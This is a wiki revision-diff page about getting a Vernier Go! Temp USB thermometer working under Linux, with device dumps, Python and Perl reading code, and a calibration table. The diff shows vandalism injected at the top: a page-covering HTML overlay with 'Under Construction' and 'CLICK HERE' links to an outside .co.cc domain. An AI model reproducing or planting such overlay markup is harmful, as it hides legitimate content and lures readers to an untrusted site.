Difference between revisions of "Vernier Go Temp USB device in Linux"

From Finninday
Jump to: navigation, search
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://isiqilujev.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]=
 +
----
 +
=[http://isiqilujev.co.cc CLICK HERE]=
 +
----
 +
</div>
 
I've got a [http://www.vernier.com/go/gotemp.html USB thermometer] that is recognized by Linux when I plug it in, but I have no idea how to read it.  Below are the steps I went through to figure out how to get Linux to read it, but you should skip to the end and download the [http://www.vernier.com/downloads/gosdk.html Vernier Linux SDK], which I was unaware of when I started solving this puzzle.
 
I've got a [http://www.vernier.com/go/gotemp.html USB thermometer] that is recognized by Linux when I plug it in, but I have no idea how to read it.  Below are the steps I went through to figure out how to get Linux to read it, but you should skip to the end and download the [http://www.vernier.com/downloads/gosdk.html Vernier Linux SDK], which I was unaware of when I started solving this puzzle.
  
 
/proc/bus/usb/devices says this about it:
 
/proc/bus/usb/devices says this about it:
  
<pre>
+
&lt;pre&gt;
 
T:  Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#=  2 Spd=1.5 MxCh= 0
 
T:  Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#=  2 Spd=1.5 MxCh= 0
D:  Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1
+
D:  Ver= 1.10 Cls=00(&gt;ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1
 
P:  Vendor=08f7 ProdID=0002 Rev= 1.53
 
P:  Vendor=08f7 ProdID=0002 Rev= 1.53
S:  Manufacturer=Vernier Software & Technology
+
S:  Manufacturer=Vernier Software &amp; Technology
 
S:  Product=Go! Temp ver 1.53
 
S:  Product=Go! Temp ver 1.53
 
C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=100mA
 
C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=100mA
 
I:  If#= 0 Alt= 0 #EPs= 1 Cls=03(HID  ) Sub=00 Prot=00 Driver=ldusb
 
I:  If#= 0 Alt= 0 #EPs= 1 Cls=03(HID  ) Sub=00 Prot=00 Driver=ldusb
 
E:  Ad=81(I) Atr=03(Int.) MxPS=  8 Ivl=10ms
 
E:  Ad=81(I) Atr=03(Int.) MxPS=  8 Ivl=10ms
</pre>
+
&lt;/pre&gt;
  
 
So I assume that /proc/bus/usb/002/002 is the file that corresponds to this device since it is bus 2, device 2.
 
So I assume that /proc/bus/usb/002/002 is the file that corresponds to this device since it is bus 2, device 2.
Line 18: Line 26:
 
Looking at that file through octaldump, I see this:
 
Looking at that file through octaldump, I see this:
  
<pre>
+
&lt;pre&gt;
 
root@weasel:/proc/bus/usb/002# od -c 002
 
root@weasel:/proc/bus/usb/002# od -c 002
 
0000000 022 001 020 001  \0  \0  \0  \b 367  \b 002  \0  S 001 001 002
 
0000000 022 001 020 001  \0  \0  \0  \b 367  \b 002  \0  S 001 001 002
0000020  \0 001  \t 002  " \0 001 001  \0 200  2  \t 004  \0  \0 001
+
0000020  \0 001  \t 002  &quot; \0 001 001  \0 200  2  \t 004  \0  \0 001
0000040 003  \0  \0  \0  \t  ! 020 001  \0 001  "   2  \0  \a 005 201
+
0000040 003  \0  \0  \0  \t  ! 020 001  \0 001  &quot;   2  \0  \a 005 201
 
0000060 003  \b  \0  \n
 
0000060 003  \b  \0  \n
 
0000064
 
0000064
</pre>
+
&lt;/pre&gt;
 
I'd like it if one of those numbers were a temperature, but I doubt it is that easy.
 
I'd like it if one of those numbers were a temperature, but I doubt it is that easy.
  
Line 40: Line 48:
 
Googling for ldusb0 I found someone who has the same device ( http://www.thok.org/intranet/python/vernier/README.html) and says that this code works to read it:
 
Googling for ldusb0 I found someone who has the same device ( http://www.thok.org/intranet/python/vernier/README.html) and says that this code works to read it:
  
<pre>
+
&lt;pre&gt;
 
#!/usr/bin/python
 
#!/usr/bin/python
 
import time
 
import time
 
import struct
 
import struct
  
ldusb = file("/dev/ldusb0")
+
ldusb = file(&quot;/dev/ldusb0&quot;)
  
 
time.sleep(0.5)
 
time.sleep(0.5)
Line 53: Line 61:
 
     # time.sleep(0.5)
 
     # time.sleep(0.5)
 
     pkt = ldusb.read(8)
 
     pkt = ldusb.read(8)
     parsed_pkt = list(struct.unpack("<BBHHH", pkt))
+
     parsed_pkt = list(struct.unpack(&quot;&lt;BBHHH&quot;, pkt))
 
     num_samples = parsed_pkt.pop(0)
 
     num_samples = parsed_pkt.pop(0)
 
     seqno = parsed_pkt.pop(0)
 
     seqno = parsed_pkt.pop(0)
Line 59: Line 67:
 
         print seqno+sample, parsed_pkt[sample]/100.0
 
         print seqno+sample, parsed_pkt[sample]/100.0
 
     # time.sleep(0.5)
 
     # time.sleep(0.5)
</pre>
+
&lt;/pre&gt;
  
 
But it doesn't work for me.  I picked a bad day to not learn python.  Perhaps I can grok it enough to write a perl script to do the same thing.
 
But it doesn't work for me.  I picked a bad day to not learn python.  Perhaps I can grok it enough to write a perl script to do the same thing.
  
 
From the above article:
 
From the above article:
<pre>
+
&lt;pre&gt;
 
turns out that an 8-byte read (from /dev/ldusb0) gets you a one-byte sample count,  
 
turns out that an 8-byte read (from /dev/ldusb0) gets you a one-byte sample count,  
 
a one-byte sequence number, and three two-byte little-endian temperature samples  
 
a one-byte sequence number, and three two-byte little-endian temperature samples  
 
which appear to be 100ths of a degree celsius. It appears to generate around 2.5  
 
which appear to be 100ths of a degree celsius. It appears to generate around 2.5  
samples per second, which is probably overkill.</pre>
+
samples per second, which is probably overkill.&lt;/pre&gt;
  
 
It looks like the perl should be something like this:
 
It looks like the perl should be something like this:
 
  my $buf;
 
  my $buf;
  open(DEV, "/dev/ldusb0") || die "couldn't open device file";
+
  open(DEV, &quot;/dev/ldusb0&quot;) || die &quot;couldn't open device file&quot;;
 
  my $number_read = read(DEV, $buf, 8);
 
  my $number_read = read(DEV, $buf, 8);
  my ($samplecount, $sequence, $temp1, $temp2, $temp3) = unpack("c c s s s", $buf);
+
  my ($samplecount, $sequence, $temp1, $temp2, $temp3) = unpack(&quot;c c s s s&quot;, $buf);
  print "$samplecount, $sequence, $temp1, $temp2, $temp3\n";
+
  print &quot;$samplecount, $sequence, $temp1, $temp2, $temp3\n&quot;;
  
 
And it works!
 
And it works!
Line 92: Line 100:
  
 
The advertised specifications for the sensor are:
 
The advertised specifications for the sensor are:
<pre>
+
&lt;pre&gt;
 
Range: -20°C – 110°C
 
Range: -20°C – 110°C
 
Maximum temperature
 
Maximum temperature
Line 101: Line 109:
 
Response time: 4s (to 90%
 
Response time: 4s (to 90%
 
of full reading in water)
 
of full reading in water)
</pre>
+
&lt;/pre&gt;
  
 
Here is the graph of heater vent using the thermometer: http://finninday.net/temp/vernier.html
 
Here is the graph of heater vent using the thermometer: http://finninday.net/temp/vernier.html
Line 112: Line 120:
 
I arrived at that formula after taking these measurements with a cup of hot water and a cup of ice water.  I used a kitchen thermometer to provide half the data.
 
I arrived at that formula after taking these measurements with a cup of hot water and a cup of ice water.  I used a kitchen thermometer to provide half the data.
  
{|border="1" cellspacing="0" cellpadding="5" align="center"
+
{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; align=&quot;center&quot;
 
|Vernier
 
|Vernier
 
|Fahrenheit
 
|Fahrenheit
Line 174: Line 182:
 
== Official Linux SDK ==
 
== Official Linux SDK ==
  
As of September 2010, Vernier Software & Technology offers an official [http://www.vernier.com/downloads/gosdk.html USB Linux temperature reading SDK] for the device.  This appears sufficient for server room monitoring.
+
As of September 2010, Vernier Software &amp; Technology offers an official [http://www.vernier.com/downloads/gosdk.html USB Linux temperature reading SDK] for the device.  This appears sufficient for server room monitoring.

Revision as of 03:23, 24 November 2010


I've got a USB thermometer that is recognized by Linux when I plug it in, but I have no idea how to read it. Below are the steps I went through to figure out how to get Linux to read it, but you should skip to the end and download the Vernier Linux SDK, which I was unaware of when I started solving this puzzle.

/proc/bus/usb/devices says this about it:

<pre> T: Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=1.5 MxCh= 0 D: Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=08f7 ProdID=0002 Rev= 1.53 S: Manufacturer=Vernier Software & Technology S: Product=Go! Temp ver 1.53 C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=00 Prot=00 Driver=ldusb E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=10ms </pre>

So I assume that /proc/bus/usb/002/002 is the file that corresponds to this device since it is bus 2, device 2.

Looking at that file through octaldump, I see this:

<pre> root@weasel:/proc/bus/usb/002# od -c 002 0000000 022 001 020 001 \0 \0 \0 \b 367 \b 002 \0 S 001 001 002 0000020 \0 001 \t 002 " \0 001 001 \0 200 2 \t 004 \0 \0 001 0000040 003 \0 \0 \0 \t  ! 020 001 \0 001 " 2 \0 \a 005 201 0000060 003 \b \0 \n 0000064 </pre> I'd like it if one of those numbers were a temperature, but I doubt it is that easy.

I'd also like it if setting one of those bits were to control the LEDs on the thermometer...

Perhaps I need a USB sniffer. Does such a thing exist?

Also, udev says that it has created a device for the ldusb driver called /dev/ldusb0 here (implemented in the Kernel as ldusb.c):

crw-rw---- 1 root root 180, 176 2008-01-05 11:17 /dev/ldusb0

That's hopeful, but how do I poke at that device, exactly?

Googling for ldusb0 I found someone who has the same device ( http://www.thok.org/intranet/python/vernier/README.html) and says that this code works to read it:

<pre>

  1. !/usr/bin/python

import time import struct

ldusb = file("/dev/ldusb0")

time.sleep(0.5)

  1. for n in range(10):

while True:

   # time.sleep(0.5)
   pkt = ldusb.read(8)
   parsed_pkt = list(struct.unpack("<BBHHH", pkt))
   num_samples = parsed_pkt.pop(0)
   seqno = parsed_pkt.pop(0)
   for sample in range(num_samples):
       print seqno+sample, parsed_pkt[sample]/100.0
   # time.sleep(0.5)

</pre>

But it doesn't work for me. I picked a bad day to not learn python. Perhaps I can grok it enough to write a perl script to do the same thing.

From the above article: <pre> turns out that an 8-byte read (from /dev/ldusb0) gets you a one-byte sample count, a one-byte sequence number, and three two-byte little-endian temperature samples which appear to be 100ths of a degree celsius. It appears to generate around 2.5 samples per second, which is probably overkill.</pre>

It looks like the perl should be something like this:

my $buf;
open(DEV, "/dev/ldusb0") || die "couldn't open device file";
my $number_read = read(DEV, $buf, 8);
my ($samplecount, $sequence, $temp1, $temp2, $temp3) = unpack("c c s s s", $buf);
print "$samplecount, $sequence, $temp1, $temp2, $temp3\n";

And it works!

3, 127, 2840, 2840, 2840

Now, what are those numbers? Room temperature seems to be from 2400 to 2800. Grabbing the thermometer yields about 4280. Putting it into a hole into our uninsulated wall when it is 8 degrees Celsius outside seems to stabilize about 2000.

Putting the sensor in the heater vent when it blowing shows about 4000.

I've tried telling unpack to treat the value as different formats but to no effect.

v (little-endian short)
S (unsigned short)
s (signed short)

All seem to yield the same value after unpacking.

The advertised specifications for the sensor are: <pre> Range: -20°C – 110°C Maximum temperature that the sensor can tolerate without damage: 130°C Resolution: 0.07°C Accuracy: +/- 0.5°C Response time: 4s (to 90% of full reading in water) </pre>

Here is the graph of heater vent using the thermometer: http://finninday.net/temp/vernier.html

Conversion formula

My formula for converting the Vernier probe data to Celsius is this:

C = V / 126.74 - 5.4

I arrived at that formula after taking these measurements with a cup of hot water and a cup of ice water. I used a kitchen thermometer to provide half the data.

Vernier Fahrenheit Celsius V/C Ratio
8504 143.2 61.7 67.1 5.4 61.7
8464 142.5 61.4 66.78 5.38 61.38
848 33.6 0.8 6.69 5.89 1.29
824 33.3 0.7 6.5 5.8 1.1
760 33.1 0.6 6 5.4 0.6
7744 61.1 126.74

7744 is the difference between the maximum and the minimum of the Vernier values. 61.1 is the difference between the maximum and the minimum of the Celsius measurements.

126.74 is the ratio of the differences.

The V/C Ratio column is the result of multiplying the Vernier values by 126.74. From there I can see that I'm generally about 5.4 degrees too high.


Official Linux SDK

As of September 2010, Vernier Software & Technology offers an official USB Linux temperature reading SDK for the device. This appears sufficient for server room monitoring.